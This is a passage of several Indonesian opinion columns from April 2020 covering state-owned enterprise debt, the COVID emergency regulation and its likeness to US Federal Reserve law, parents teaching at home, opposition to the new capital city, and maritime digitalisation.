lalu, dengan menunjuk Erik Thohir, mantan pemilik tim sepak bola Inter Milan Italia sebagai menteri BUMN. Thohir telah berjanji melikuidasi perusahaan yang gagal bayar kewajibanya. Selama lima tahun terakhir, BUMN juga telah menimbun utang luar negeri yang besar. Kebijakan ini berakibat pada meningkatnya biaya pendanaan mereka saat dolar melonjak. Resiko-resiko tersebut tercermin di pasar keuangan. Misalnya, obligasi PT Garuda Indonesia, yang menghadapi kemerosotan. Menurut Bloomberg, kemerosotan obligasi Garuda yang jatuh tempo 3 Juni nanti sebesar U$ 500 juta. Sola utang obligasi ini, PT Pertamina tercatat sebagai perusahaan BUMN yang menimbun utang paling besar. Sampai dengan tahun 2018, utang Pertamina tercatat sebesar Rp 508,4 triliun. Sepanjang 2019-2020 Pertamina juga menambah global bond sebesar U$ 3 miliar, atau setara dsengan Rp 46 triliun. Jumlah itu belum termasuk utang dalam bentuk lainnya. Meskipun gagal dalam membangun kilang-kilang minyak baru. Akusisi perusahaan asing yang habis masa kontrak dengan biaya yang mahal sekarang menjadi masalah tersendiri bagi Pertamina. Pertamina harus berhadapan dengan harga minyak mentah dunia yang paling buruk sepanjang sejarah migas ini. Padahal 70% usaha Pertamina itu adanya di hulu. Kilang-kilang yang dibaiayai mahalpun harus ditutup. Karena lebih mnguntungkan dengan melakukan impor BBM. Privatisasi atau Ditalangi Pemerintah ? Direktur pelaksana Penida Capital Advisors Ltd. Edward Gustely kepada Bloomberg di Jakarta mengatakan, pemerintah harus membuang perusahaan yang berkinerja terburuk . Yang non-strategis dan tidak menguntungkan. Caranya, melalui privatisasi, alias Jual. Namun siapa yang akan membeli ? Cara lain adalah pemerintah menalangi utang seluruh BUMN tersebut, darimana uangnya? Dengan menggunakan dana stimulus yang sekarang tengah digolkan melalui Perpu No 1 Tahun 2020 dan perpres nomor 54 tahun 2020 tentang Rincian Anggaran Pendapatan dan Belanja Negara Perubahan (APBN-P). Pemerintah telah menargetkan utang baru senilai Rp. 1006 Triliun dan sebanyak 420 triliun akan dialokasikan sebagai stumulus menghadapi Covid-19. Kementerian Keuangan mengatakan, pemerintah berkomitmen untuk mendukung PLN. Pemerintah juga berencana mengumpulkan Rp. 150 triliun untuk membantu perusahaan pulih dari dampak ekonomi dan wabah koronavirus, namun rinciannya belum jelas. Sementara buat Pertamina, belum jelas berapa bantuan dari pemerintah untuk mengatasi penurunan penjualan saat ini. Namun semua akan berjalan lancar jika targer pembiayaan (utang) tercapai. Jika tidak tercapai, maka kemungkinan besar aka ada privatisasi. Ini pilihan yang buruk bagi rakyat, dan pekerja BUMN. Tetapi tampaknya ini cukup menyenangkan hati pemerintah yang tengah membutuhkan uang banyak. Saat ini utang pemerintah dan BUMN berdasarkan laporan Bank Indonesia (BI) general government debt mencapai Rp. 11.250 trilun. Utang ini untuk membiayai berbagai proyek ambisus pemerintah. Mulai dari proyek infrstruktur listrik, kilang minyak, jalan tol, pelabuhan dan bandara yang sebagian besar sekarang telah menjadi beban karena tidak memberikan cashflow yang baik. Tragisnya, infrastruktur yang dibangun untuk mudik lebaran tahun ini, telah kehilangan momentum. Tidak lagi untuk menyedot daya beli masyarakat, sesuai perintah larangan mudik atau bukan pulang kampung saat lebaran Idul Fitri nanti. Penulis adalah Peneliti Pada Asosiasi Ekonomi Politik Indonesia (AEPI).

Tahukah Hakim MK, Cara Kerja Wall Street di Perpu Corona?

By Dr. Margarito Kamis Jakarta FNN – Sabtu (25/04). Peraturan Pemerintah Pengganti Undang-Undang Nomor 1 Tahun 2020 Tentang Kebijakan Keungan Negara dan Stabilitas Sistem Keuangan Untuk Penanganan Pandemi Corona Virus Disease 2019 (Covid 19) dan/atau Dalam Rangka Menghadapi Ancaman yang Membahayakan Perekonomian Nasional dan/atau Stabilitas Sistem Keuangan. Masa Allah. Dalam sejarah, ini judul Perppu terpanjang di dunia untuk sebuah UU. Karena terlampau panjang, maka saya akan menyebut Perpu ini dengan “Perpu Corona.” Perpu yang “ngaco” ini telah dimohonkan pengujiannya ke Mahkamah Konstitusi (MK) oleh beberapa kelompok masyarakat. Masyarakat Anti Korupsi Indonesia (MAKI) dengan Bonyamin Saiman sebagai bosnya berada di satu sisi sebagai kelompok pemohon ke MK. Dan Pak Amien Rais, Pak Din Syamsudin, Pak Srie Edi Swasono, dan kawan-kawan berada di sisi lain juga sebagai kelompok masyarakat yang memohonkannya. Argumentasi spesifik mereka, sejauh ini belum diketahui. Tetapi dapat diduga argumentasi primer mereka pasti tidak jauh dari penilaian Perpu ini bertentangan dengan sejumlah pasal dalam UUD 1945. Seluruhnyakah atau sebagian yang nyata-nyata atau potensial bertentangan? Dugaan saya pasti diuraikan dalam permohonan mereka. Pasal 27 dan 28 Perpu ini memang membuat nalar orang sehat pening sepening-peningnya. Tetapi saya ingin mengenal satu hal yang, dalam penilaian saya cukup menarik. Hal yang menarik itu adalah Bank Indonesia diberi kewenangan lain dalam Perpu ini. Bagi saya ini menarik, karena sejumlah alasan. Apakah ada sistem keuangan di dunia, yang bertuan pada tuan “takur - Amerika” dengan “Wall Streetnya” yang tidak pernah stabil? Adakah sistem keuangan di dunia ini yang tidak terjalin dengan standar mata uang? Uang kertas yang beredar? Tingkat suku bunga kredit? Jual beli bank note? Kegagalan bayar kredit karena berbagai faktor dan sejenisnya? Bila jawabannya tidak ada, maka soalnya adalah adakah sistem keuangan di dunia yang, sekali lagi, stabil? Bila ada, mengapa gold dan silver ditolak sebagai standar mata uang? Dipukul telak dengan taktik licik oleh jagoan-jagoan Wall Street, yang dimotori oleh JP. Morgan, Rockeffeller, Jacob Schift dan Paul Moris Warburg? Tidakkah sistem keuangan khas jagoan-jagoan ini dalam “esensinya” memang elastis dan dinamis? Tidakkah sistem keuangan khas jagoan-jagoan ini dimaksudkan untuk terus-menerus memproduksi inflasi dan deflasi? Bahkan juga memproduksi krisis? Lalu setelah krisis,menerpa keuangan negara, bank sentral muncul menjadi bukan lending of last resort, tetapi juga mengatur kebijakan ekonomi nasional? Perspektif membantu siapapun memahami judul Perpu ini. Sekali lagi, tidak ada sistem keuangan yang dibuat stabil, tetapi mau distabilkan. Karena begitulah sifat bawaan sistem keuangan, maka unintended expected di Perpu ini tidak jauh dari “mengonsolidasi ketidakstabilan” sistem keuangan itu. Mengapa begitu? Karena pemerintah, bukan “corporasi” yang dibebani tanggung jawab mengurus rakyat. Kerja perusahaan ya cari untung, untung dan untung. Begitulah cara berpikir J.P Morgan, Rockeffeller, Jacob Schif dan Paul Morizt Warburg. Orang-orang yang merancang terciptanya The Federal Reserve, The Fed’s. Krisis datang, maka korporasi meminta uluran tangan pemerinah. Begitu seterusnya cara mereka melipat gandakan perampokan uang negara. Cara pandang ini memang tidak dibayangkan oleh Alexander Hamilton, Menteri keuangan pertama di Amerika Serikat. Alexander Hamilton, dapat disebut sebagai bapak pencipta Bank Sentral Amerika. Pada mulanya Bank Of England. Bukan Reicsbank Swedia dan Jerman, yang ditunjuk Hamilton dalam merancang Firts American Bank. Bank ini, dalam rancangan Hamilton, hanya dimaksudkan untuk menampung perolehan pajak, serta memudahkan pembiayaan perang. Dalamm pandangan Hamilton, itulah fungsi awal Bank of England. Itulah yang Hamilton kehendaki dari Bank yang mati-matian ia perjuankan pembentukannya, yang kelak dikenal dengan sebutan Bank Sentral. Hamilton memang mendapat tantang sangat keras oleh Thomas Jefferson dan James Madison. Tetapi Presiden Amerika ini kalah. Lahirlah “First American Bank” yang diberi waktu operasi selama 20 tahun. Tidak lebih. Masa operasinya berakhir pada tahun 1816. Supaya operasi “First American Bank” dapat dilanjutkan, maka diciptakanlah perang tahun 1812 itu. Perang ini menjadi alasan utama agar bank itu dilanjutkan lagi operasinya. Maka lahirlah “The Second American Bank”. Masa operasinya berakhir pada tahun 1836. Mau diperpanjang lagi, tetapi Presiden mereka Andrew Jackson menolak. Jackson memveto UU baru yang akan yang memperpanjang operasinya bank ini. Veto Jackson itu mengakibatkan untuk waktu 78 tahun lamanya, Amerika tak punya Bank Sentral. Tetapi kelak tiba waktunya Amerika berjaya dengan Bank Sentral. Kejayaan itu datang setelah empat tokoh di atas menyingsingkan lengan baju masuki panggung politik. Apakah mereka menjadi Presiden? Tidak. Menjadi legislator? Juga Tidak. Mereka menggunakan politisi –capres- dan legislator serta ilmuan dari universitas-universitas ternama untuk menggolkan gagasan Bank Sentral. Itu yang mengakibatkan Oliver Mithcell Sprague, yang menulis History of Crises under The National Bank dan kelak memimpin pembentukan Harvard Graduate Schooll of Bussiness ini, tak berdaya menghadapi mereka. Sprague bersandar pada pandangan Bagehot, pencipta Bank of England sebagai Bank Sentral yang berkedudukan di Lombar Street, semacam Wall Streetnya Inggris. Bagehot menyatakan Bank of England juga menghasilkan krisis keuangan. Itu sebabnya Bagehot menghendaki agar Bank of England sebagai Bank Sentral yang berfungsi sebagai lending of last resort harus dibebani tanggung jawab sosial. Sayangnya, gagasan ini ditolak kawan-kawannya di Bank of England. Sembari bersandar pada pandangan Bagehot, Sprague dengan meyakinkan pengalaman Bank Sentral, baik Inggris maupun Amerika. Menurutnya, pengalaman kedua negra ini menunjukan bank akan memperluas stabilitas dengan cara mengawetkan asset bank besar. Menurut Sprague, ini menjadi sebab mereka gagal bergerak cepat mencegah terjadinya kepanikan keuangan. Pandangan Sprague itu, pada level tertentu disetujui Joseph French Jonhson dan Horace White. Pandangan keduanya terlihat pada saat keduanya mendiskusikan makalah Paul Warburg, pria yang menciptakan The Fed’s. Keduanya mengakui bank sentral model Eropa, memang berusaha mengindari krisis keuangan, tetapi tidak untuk krisis perdagangan. Bagi keduanya, ini disebabkan Bank Sentral lebih suka memompa liquiditas mereka ke pasar uang. Keduanya lalu mengetengahkan jalan keluarnya. Bagi mereka, bank-bank lokal harus diberi kesempatan terlibat dalam operasional Bank Sentral, sehingga mereka dapat menjaga kepentingan mereka. Masih terdapat serangkaian maneuver cukup hebat, yang berakhir dengan lahirnya satu bill tentang The Federal Reserve. Bill ini disiapkan oleh tim khusus kelompok ini di Jackyl Island. Nelson Aldrich, senator republican yang telah terkoneksi dengan Rockeffeler ada di dalamnya. Tetapi bukan Nelson Aldrich yang mengajukan bill itu ke Senat, melainkan Theoddore Burton, senator republik. Ketika diajukan ke senat, bill ini dikenal dengan “Aldrich Plan”. Dalam kenyataanya plan ini memperoleh tantangan sangat keras dari William Jennings Bryan, Senator Demokrat. Menariknya, muncul satu keadaan yang menguntungkan para reformis. Apa keadaan itu? Parker Wills diangkat menjadi asisten Carter Glass, Ketua the House of Banking and Currency Committee. Glass adalah seorang Demokrat dari Virginia. Disebut beruntung bagi para reformis perbankan, karena H. Parker Wills, selain menjadi dosen bagi dua anak Glass di Washington and Lee University, juga merupakan satu anggota Nation Leage. Nation Leage adalah sebuah tim non bankir, yang bekerja di bawah kendali Morgan dan kawan-kawan. Tugas mereka mempropagandakan gagasan Sentral Banking. Paul Warburg, disisi lain juga bekerja sama kerasnya. Figur yang menyukai model Bank Sentral Jerman inilah yang memberi nama The Fed’s. Kerja keras mereka sukses. Lahirlah The Federal Reserve pada tahun 1913. Di tengah krisis ekonomi, tepatnya pada tahun 1935, Kongres menyetujui The Banking Act. Melalui UU ini kewenangan The Fed’s diperluas, dengan dibuatnya The Federal Deposit Insurance Corporation (FDIC). Perluasan yang sangat signifikan adalah kontrol terhadap kebijakan keuangan nasional diletakan pada Dewan Gubernur The Fed’s. Enam belas tahun kemudian, tepatnya tahun 1951, atas permintaan kementeran keuangan, The Fed’s secara sukarela menerima kebijakan suku bunga rendah atas government bond. Sebenarnya kebijakan ini merestorasi independensi The Fed’s dalam memonetisasi utang pemeritahan dengan bunga tetap. Tetapi pada saat yang sama kewenangan The Fed’s membuat kebijakan keuanggan nasional diperluas. Tak lama setelah itu, tepatnya tahun 1956 Kongres Amerika membuat The Bank Holding Company Act. Dalam UU ini The Fed’s diberi kewenangan baru berupa bank yang telah berbentuk holding harus mendaftar pada The Fed’s. Dewan Gubernur The Fed’s diberi kewenangan mengatur cara pendaftaran dan pengawasan atas mereka. Berhenti di titik itukah perluasan atas kewenangan The Fed’s? Tidak. Tahun 1978 terbit lagi dua UU. Pertama, The Intetrnational Banking Act 1978. Kedua, The Full Employment and Balanced Growt Act 1978. Pada The International Banking Act, The Fed’s diberi kewenangan mempromosikan kompetisi antara bank domestik dan internasional. Dan Dewan Gubernur bertanggung jawab mengatur dan mensupervisi aktifitas bank yang berbentuk holding. Pada UU yang kedua, The Fed’s diberi kewenangan untuk secara langsung mempengaruhi perekonomian nasional. Tiga tahun kemudian Kongres kembali membentuk Depository Institution Deregulation and Monetary Control Act 1980. Undang-Undang ini memperluas akses The Fed’s memeriksa semua institusi keuangan. Esensi UU ini adalah semua institusi keuangan harus mematuhi aturan The Fed’s. Sebelas tahun kemudian, tepatnya tahun 1991, Kongres membentuk lagi satu UU. Namanya The Federal Deposit Insurance Corporation Improvement Act of 1991. UU ini memperkuat kewenangan The Fed’s mensupervisi bank asing yang memasuki sistem perbankan Amerika. UU ini menguatkan pengaruh The Fed’s tidak hanya pada sistem perbankan, tetapi juga ekonomi Amerika secara keseluruhan. Delapan tahun kemudian, Kongrers membuat lagi apa yang disebut dengan Gramm-Leach-Bley Act 1999. UU ini mengatur banyak aspek dalam industri perbankan. Dari mergers hingga proteksi terhadap informasi pribadi konsumen. UU memberi kewenangan kepada The Fed’s mengatur bank dan anak perusahaan. Dalam UU ini juga diberi kewenangan hak veto kepada The Fed’s, dan Kemeterian Keuangan untuk saling memveto satu sama lainnya. Ketika Amerika dilanda krisis kuangan pada tahun 2008, Kongres membuat Emergency Economic Stabiization Act (EESA) 2008. Dalam UU ini The Fed’s diberi kewenangan membayar kepada bank dengan tingkat suku bunga tinggi atas deposito. Pembayaran disifatkan sebagai cadangan, yang dawali pada 1 Oktober 2008 – hingga 2011 sesuai ketentuan UU. Praktis UU ini menempatkan The Fed’s sebagai bagian integral dari penyelamatan ekonomi Amerika Serikat yang sedang berlangsung, dan instabilitas di masa yang akan datang. Spektrum dan pola-pola kerja seperti The Fed’s itu terlihat cukup jelas pada materi “Perpu Corona No.1/2020”. Perpu ini memberikan kewenangan istimewa kepada Bank Sentral dan pemerintah untuk mengurus masalah ekonomi hingga tahun 2022. Ketentuan itu sangat mirip ketentuan yang terdapat dalam Emergency Economic Stabiization Act (EESA) 2008 punya Amerika. Akankah Mahkamah Konstitusi menyingsingkan jubah kehormatannya untuk mengenal spektrum Emergency Economic Stabiization Act (EESA) 2008 itu pada saat memeriksa “Perpu Corona No. 1/2020 ini? Mungkinkah Mahkamah Konstitusi mengabaikan kenyataan itu? Apakah Mahkamah Konstitusi hanya berkutat pada persoalan klasik Perpu, yakni kegentingan yang memaksa? Apakah Mahkamah Konstitusi hanya mengutak-atik seperlunya teori kuno John Locke tentang State Emergency? Semoga saja berkah dari Ramadhan Al-Mubarrakh bisa menyertai mereka para Hakim Yang Mulia. Insya Allah. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate.

Pentingnya Orangtua Memahami Ilmu Pedagogi

By Dr. Elli Widia S.Pd. MM.Pd Jakarta FNN – Jum’at (24/04). Menjadi orangtua sungguh tidak mudah. Di media sosial banyak orangtua mengeluh terkait betapa repotnya membimbing anak-anak belajar di rumah selama masa pandemi virus corona baru (Covid-19). Kondisi ini juga mengharuskan mereka bekerja dari rumah atau “Work From Home” (WFH) dan anak-anak belajar di rumah. Keharusan untuk belajar di rumah rupanya kurang menyenangkan bagi anak-anak yang masih sekolah. Akibatnya, banyak anak-anak yang dengan polos mengungkapkan kesedihan dan kekecewaan kepada gurunya. Mereka menyampaikan keluhannya melalui komunikasi via telpon atau WhatsApp (WA). Umumnya selama mereka belajar di rumah, anak-anak merasa tidak mendapakan bimbingan sebagaimana yang sebelumnya mereka rasakan dari guru-gurunya di sekolah. Pertanyaan yang kemudian bisa muncul di benak seorang guru adalah, mengapa orangtua merasa kesulitan membimbing anak-anaknya untuk belajar dengan sungguh-sungguh di rumah? Kenapa pula anak-anak sejatinya lebih suka belajar seperti biasanya di sekolah? Dalam kaitan ini UNESCO (Organisasi Pendidikan, Keilmuan, dan Kebudayaan PBB) menyebutkan, hampir 300 juta siswa di seluruh dunia, termasuk di Indonesia terganggu kegiatan sekolahnya akibat adanya wabah Covid-19. Wabah virus tersebut bisa mengancam hak-hak pendidikan mereka di masa depan. Tidak dapat dipungkiri, wabah virus corona telah berdampak terhadap sektor pendidikan. Gangguan terhadap hak-hak pelayanan pendidikan yang biasanya diperoleh para siswa dari guru-gurunya di sekolah. Jika wabah ini tidak segera bisa diatasi, dipastikan anak-anak akan terganggu hak-haknya untuk mendapatkan layanan pendidikan yang maksimal. Wabah Covid-19 memang telah berdampak kepada kegiatan-kegiatan penting para siswa yang sudah ditetapkan sebelumnya oleh tiap sekolah. Konsekuensinya, capaian target bidang pendidikan yang sudah ditetapkan oleh pemerintah dan sekolah-sekolah juga akan mengalami hambatan. Langkah yang telah diputuskan sekolah terkait adanya wabah Covid-19 adalah menghentikan semua kegiatan pembelajaran di sekolah-sekolah. Kemudian mengharuskan pelajar atau siswa untuk belajar di rumah dengan bimbingan dari para orangtua. Menghadapi situasi seperti itu, setiap guru dan dosen memiliki strategi tersendiri untuk tetap dapat memberikan pembelajaran kepada para siswa atau mahasiswanya. Ada yang menggunakan aplikasi googleclassroom dan ada pula yang memakai Whatsapp, Zoom, Jitsi.meet dan berbagai aplikasi lainnya. Pemberian tugas dengan pembelajaran melalui penggunaan aplikasi teknologi informasi seperti itu mengharuskan orangtua untuk membimbing dan menjadi pengajar anak-anaknya di rumah. Orangtua hadir sebagai pengganti guru di sekolah. Persoalannya kemudian, ternyata banyak orangtua merasa stress dan emosi menghadapi sikap kritis anak-anaknya. Begitu pula tidak percayanya anak-anak kepada bimbingan dari orangtua. Dalam beberapa kasus, malahan mengakibatkan munculnya kekerasan orangtua terhadap anak-anak di rumah. Keluhan terjadi di sana-sini, baik dari orangtua maupun dari anak-anak. Orangtua mengeluh karena ketidaksabarannya menghadapi anak sendiri ketika memberikan bimbingan belajar di rumah. Sementara mereka sendiri harus bekerja dari rumah. Pada sisi lain, keluhan anak-anak tidak kalah serunya. Mereka kadang-kadang merasa tertekan dengan cara orangtuanya melakukan bimbingan belajar di rumah. Tidak sedikit anak-anak menelpon gurunya sambil menangis serta menyatakan kangen dan ingin berjumpa guru serta teman-temannya di sekolah. Tingkat stress orangtua dan anak-anak kemudian meningkat, terutama di daerah-daerah yang memperpanjang masa Pembatasan Sosial Berskala Besar (PSBB) karena belum meredanya wabah Covid-19. Apalagi belum jelas kapan wabah itu bisa diatasi. Konsekuensinya, para orangtua harus tetap sebagai pengganti guru untuk membimbing anak-anak di rumah. Orangtua Baru Sadar Kondisi ini juga menghasilakn hikmah bagi para orangtua. Mereka semakin memahami bagaimana sulitnya menjadi seorang guru. Guru dituntut dengan banyak target yang harus dipenuhi. Namun, ada segudang kesibukan lain yang terkait dengan bidang tugasnya, yang juga harus dituntaskan. Sementara itu tuntutan pekerjaan sebagai guru mengharuskan mereka tampil sempurna di depan anak-anak di sekolah. Bahkan tidak jarang di depan para orangtua yang datang ke sekolah. Selama ini para orangtua kurang memahami, dan tidak merasakan bagaimana repotnya menjadi guru dalam menghadapi berbagai macam karakteristik peserta didik. Guru bukan hanya sekedar harus terampil dalam menyampaikan bahan dan materipelajaran. Namun juga harus mampu mengembangkan kepribadian dan watak anak-anak. Guru juga harus dapat mengembangkan dan mempertajam hati nurani anak didik mereka. Pada saat yang bersamaan, tidak jarang para guru mendapatkan protes dan perlakuan yang tidak mengenakkan dari pihak wali murid. Ketidakpuasan seorang wali murid malahan sering dikemukakan di depan wali murid lainnya. Bahkan ada juga yang diviralkan di media sosial. Namun hebatnya para guru. Walaupun menghadapi situasi psikologis yang tidak menyenangkan dari anak-anak didik dan wali murid. Namun umumnya para guru tetap tampil menjadi pribadi yang mengayomi, mendidik, dan menyayangi murid-muridnya. Efek belajar di rumah membuat banyak wali murid sadar bahwa guru memang manusia yang sangat “luar biasa”. Kesabaran dan ketekunan serta ketelatenan guru yang selama ini kurang diperhatikan. Ternyata tugas guru tidak dapat dilaksanakan dengan baik oleh para orangtua di rumah dalam membimbing anak-anaknya sendiri. Untuk itu, para orangtua juga perlu memahami ilmu Pedagogi. Tujuannya, agar mereka dapat memberikan bimbingan belajar dengan baik terhadap anak-anaknya di rumah. Pedagogi itu sendiri adalah ilmu atau seni menjadi seorang guru atau pengajar. Istilah ini merujuk pada strategi pembelajaran atau gaya pembelajaran terhadap anak-anak. Pedagogi merupakan ilmu yang mengkaji bagaimana membimbing anak-anak? Bagaimana sebaiknya pendidik berhadapan dengan anak didik? Apa tugas pendidik dalam mendidik anak? Selain itu, juga apa yang menjadi tujuan mendidik anak? Pedagogi berasal dari bahasa Yunani, yakni “paid” berarti kanak-kanak, dan “agogos” yang berarti memimpin. Kemudian Pedagogi mengandung arti memimpin anak-anak. Definisi yang diartikan secara khusus sebagai “suatu ilmu dan seni mengajar anak-anak”. Sedangkan Pedagogi kemudian didefinisikan secara umum sebagai “ilmu dan seni mengajar”. Pedagogi juga kadang-kadang merujuk pada penggunaan yang tepat dari strategi mengajar. Sehubungan dengan strategi mengajar itu, filosofi mengajar yang diterapkan, dan dipengaruhi oleh latar belakang pengetahuan dan pengalaman, situasi pribadi, lingkungan. Juga tujuan pembelajaran yang dirumuskan oleh guru dan peserta didik. Dalam hubungan ini pula, ke depan sekolah-sekolah perlu mengadakan workshop (lolakarya) atau mungkin seminar-seminar parenting bagi masyarakat terkait pentingnya Ilmu Pedagogi yang juga harus dipahami para orangtua siswa. Namun perlu ditekankan bahwa ilmu Pedagogi terasa penting. Bukan karena terkait adanya wabah Covid 19 yang mengharuskan anak-anak belajar di rumah. Lebih dari itu sangat diperlukan untuk terbinanya kerjasama antara guru dan orangtua siswa dalam meyambung pelajaran dari sekolah ke rumah atas bimbingan orangtua. Ilmu ini juga mengajarkan bahwa anak-anak sejatinya memerlukan lingkungan yang baik. Semuanya ada di lingkungan rumah, lingkungan sekolah, dan lingkungan masyarakat. Ketiga lingkungan tersebut mengharuskan orangtua dan guru untuk bisa bekerjasama dalam membimbing dan membentuk kakakter seorang anak. Penulis, Guru SD Islam Nabilah dan Dosen Pascasarjana Fak. Ekonomi Universitas Batam.

Pemerintah dan DPR Jangan Budeg!

By Tony Rosyid Jakarta FNN – Juma’at (24/04). Pemerintah nggak boleh budek. Begitu juga DPR, jangan sampai budeg. Dengerkan suara rakyat. Dengarkan apa maunya, dan apa permintaan rakyat. Apalagi bangsa sedang berduka seperti sekarang. Rakyat sedang tertekan. Rakyat juga lagi menderita. Mungkin karena gaji anda besar. Project dari negara juga berlimpah. Uang anda masih terus mengalir. Anda nggak merasakan susah dan penderitaan. Akibatnya, ngomong sembarangan saja di tengah rakyat yang lagi kelaparan. Tolong kendalikan you punya mulut itu. Jangan menebar sampah di media. Kondisi seperti sekarang, pejabat maupun elit politik tidak boleh ngaco omongannya. Bicaranya mesti terukur, baik secara etis maupun manfaatnya. Jangan boros dalam berkata-kata. Lebih baik tunjukkan empati, dan fokus membuktikan kerja anda saja. Tidak usah macam-macam. Saat ini, tidak tepat anda bicara Ibu Kota. Apalagi sampai mau melakukan tender segala. Kenapa? Pertama, rakyat tidak melihat ada urgensinya. Jauh dari prioritas, di tengah bangsa yang sedang megap-megap ekonominya. Sebaiknya jangan dipaksakan. Kedua, banyak pihak yang curiga bahwa project Ibu Kota Baru syarat dengan kepentingan pihak-pihak tertentu. Hanya untuk kepentingan kelompok kecil yang ingin mendapatkan keutungan besar. Apakah ada hubungannya dengan investasi politik 2019? Atau malah pesanan investor swasta dan asing? Bisa iya, bisa juga tidak. Waktu yang akan membuktikan. Kecurigaan banyak pihak ini agak logis jika dikaitkan dengan siapa penguasa tanah di daerah yang akan menjadi calon Ibu Kota Baru itu. Ada sejumlah nama konglomerat yang memiliki lahan "super luas" di lokasi bakal Ibu Kota Baru tersebut. Apakah itu faktor kebetulan, atau sengaja? Saat hutan disulap menjadi Ibu Kota, berapa ribu persen kenaikan harga tanah permeter? Belum lagi kalau dibangun gedung perkantoran untuk disewakan. Project apartemen dan perumahan akan menjadi pundi-pundi kekayaan yang luar biasa besar. Belum project infrastrukturnya. Pasti aduhai dan sangat menjanjikan. Nggak kebayang banyak dan besarnya nilai bisnis di Ibu Kota Baru nanti. Munculnya nama Ahok sebagai calon Kepala Otoritas Ibu Kota Baru seolah mengkonfirmasi kecurigaan-kecurigaan di masyarakat itu. Skenarionya semakin terbaca. Tak sedikit yang bertanya, apakah pembangunan Ibu Kota Baru adalah bagian dari project balas budi itu? Atau ada mega skenario di baliknya? Isu ini akan terus muncul setiap nama Ibu Kota Baru terdengar telinga. Rencana pemindahan Ibu Kota belum dibicarakan khusus dengan DPR. Tidak hanya dengan DPR, anggaran Ibu Kota Baru juga dalam pengakuannya, belum dibicarakan dengan menteri keuangan. Tapi, gaungnya sedemikian kencang. Dibahas belum, disetujui belum, sudah promosi besar-besaran. Malah mau tender segala. Termasuk promosi Ahok. Ahok lagi, Ahok lagi. Begitu kata publik. Ahok memang punya hak di negara ini, itu iya. Itu clear. Juga sepakat. Ahok sebagai warga negara punya hak yang sama dengan yang lain. Jangan dikurangi, tetapi jangan juga diprioritas-prioritaskan. Jangan berlebihan mempromosikan Ahok. Bagaimanapun, sosok Ahok telah dianggap "cacat sejarah" . Karena telah divonis pengadilan bersalah dan dipenjara dua tahun. Standarnya adalah putusan pengadilan. Bukan wacana, asumsi dan persepsi. Bukan juga suka atau tidak suka. Bangsa ini punya rasa. Juga punya logika dan etika. "Ngono yo ngono, tapi yo ojo ngono". Tak perlu merawat dan memproduksi kegaduhan terus-menerus. Masih banyak sosok lain yang jauh lebih berkapasitas dan berintegritas untuk dipromosikan dalam posisi-posisi strategis. Profesor Doktor Rafly Harun itu lebih cerdas, pinter dan berintegritas. Tapi malah dicopot. Saya tidak ada urusan dengan Ahok. Sebagai mantan gubernur, Ahok perlu dihargai jasanya. Apapun itu, Ahok ada prestasi yang harus diapresiasi. Ini fair. Rakyat tidak boleh menutup mata mengenai jasa Ahok itu. Namun ada yang bisa dipungkuri dari kebiasaan buruk Ahok. Track record Ahok yang terkait dengan karakter, menjadi persoalan sendiri. Sejumlah peristiwa, catatan hukum dan psikologi rakyat, khususnya umat Islam sebagai penduduk mayoritas, jangan sampai dianggap enteng-enteng saja . Harus menjadi pertimbangan serius jika ingin melihat bangsa ini kondusif lagi ke depan. Ada waktunya nanti saya beberkan analisis berbasis teori-teori sosial dalam kasus ini. Saol Ibu Kota yang sekarang yang digaungkan kembali di atas tumpukan mayat rakyat yang diserbu oleh Covid-19, sungguh membuat dada rakyat semakin sesak. Nyesek banget. Orang bilang itu seperti ngigau saja. Rakyat tidak saja marah, tetapi makin gigih untuk menolak Ibu Kota Baru. Sudahlah, sesekali bicara pakai hati nurani rakyat. Itu standar kita dalam berbangsa dan bernegara. Nurani ini adalah ukuran integritas dan etika dalam mengelola negara ini. Lalu rakyat yang mana? Ini pertanyaan konyol yang sering diulang-ulang oleh elit politik busuk yang menjadi antek korporasi. Siapapun pejabat, mestinya setiap berwacana dan bicara sebaiknya pakai hati nurani rakyat. Bukan hati nurani investor. Terutama pemodal politik. Apalagi hati nurani ABS (Asal Bos Senang). Mereka itu juga kelompok korporasi busuk dan tamak. Soal Ibu Kota Baru, kuburlah rencana itu. Hanya akan menambah deretan panjang kekecewaan rakyat. Pemilu mengecewakan. UU KPK juga mengecewakan. Omnibus law semakin mengecewakan lagi. Pengelolaan hampir semua BUMN sangat dan sangat mengecewakan. Pertumbuhan ekonomi nyata-nyata mengecewakan. Sekarang, mau ditambah lagi rencana Ibu Kota. Mekso banget sih? Seorang pemimpin dan elit politik akan dicatat oleh sejarah bangsa ini. Apakah pemimpin pusat, atau pemimpin daerah. Pemimpin eksekutif, maupun pemimpin legislatif. Termasuk para pejabatnya. Saat mereka turun, semuanya akan dibuka satu persatu. Tidak ada yang terlewatkan. Masa lalu mereka saat menjabat tak bisa lagi bisa dipoles dan ditutupi. Saat itulah pemimpin dan pejabat negara akan dinilai sebagai manusia terhormat atau terlaknat. Tinta sejarah akan menuliskannya. Ditulis dengan tinta emas atau tinta busuk yang berbau. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Nasib Digitalisasi Kemaritiman Pasca Covid-19

By Siswanto Rusdi Jakarta FNN – Kamis (Kamis 22/04). Seperti sektor atau bidang pekerjaan lainnya, bidang kemaritiman -- antara lain pelabuhan, pelayaran, dan logistik juga menjalankan kebijakan Work From Home (WFH) di tengah masih mewabahnya virus corona saat ini. Tidak semua pekerjaan di bidang kemaritiman bisa dilakukan dari rumah. Ada beberapa pekerjaan yang masih harus dilakukan langsung di lapangan. Penyandaran kapal dan bongkar-muat kargo adalah contoh dari pekerjaan yang harus dilakukan di lapangan. Sebab memang tidak ada teknologi yang memungkinkan pelayanan penyandaran kapal dan bongkar-muat kargo dapat dilakukan dari rumah. Tetapi, digitalisasi di bidang kemaritiman, termasuk di tanah air sudah relatif berjalan dengan baik. Bahkan jauh sebelum wabah Covid-19 melanda. Urusan bayar-membayar dan permintaan pelayanan sandar kapal serta pemesanan peti kemas sudah bisa diajukan online oleh pelayaran. Di Indonesia pelayanan kapal dalam jaringan (daring/online) dilakukan menggunakan platform “Inaportnet”. Dengan sistem ini, operator pelabuhan yang mengaplikasikannya dapat mengintegrasikan pelayanan dermaga, alat bongkar-muat dan armada truk pengangkut secara lebih terukur bagi kapal yang akan sandar maupun yang akan berlayar kembali. Bersama kembarannya, “Indonesia National Single Window” (INSW), pelayanan tadi dapat mengurangi tatap muka antara operator pelabuhan dan pengguna jasa. Akibatnya, peluang untuk main mata yang berujung pada gratifikasi dan 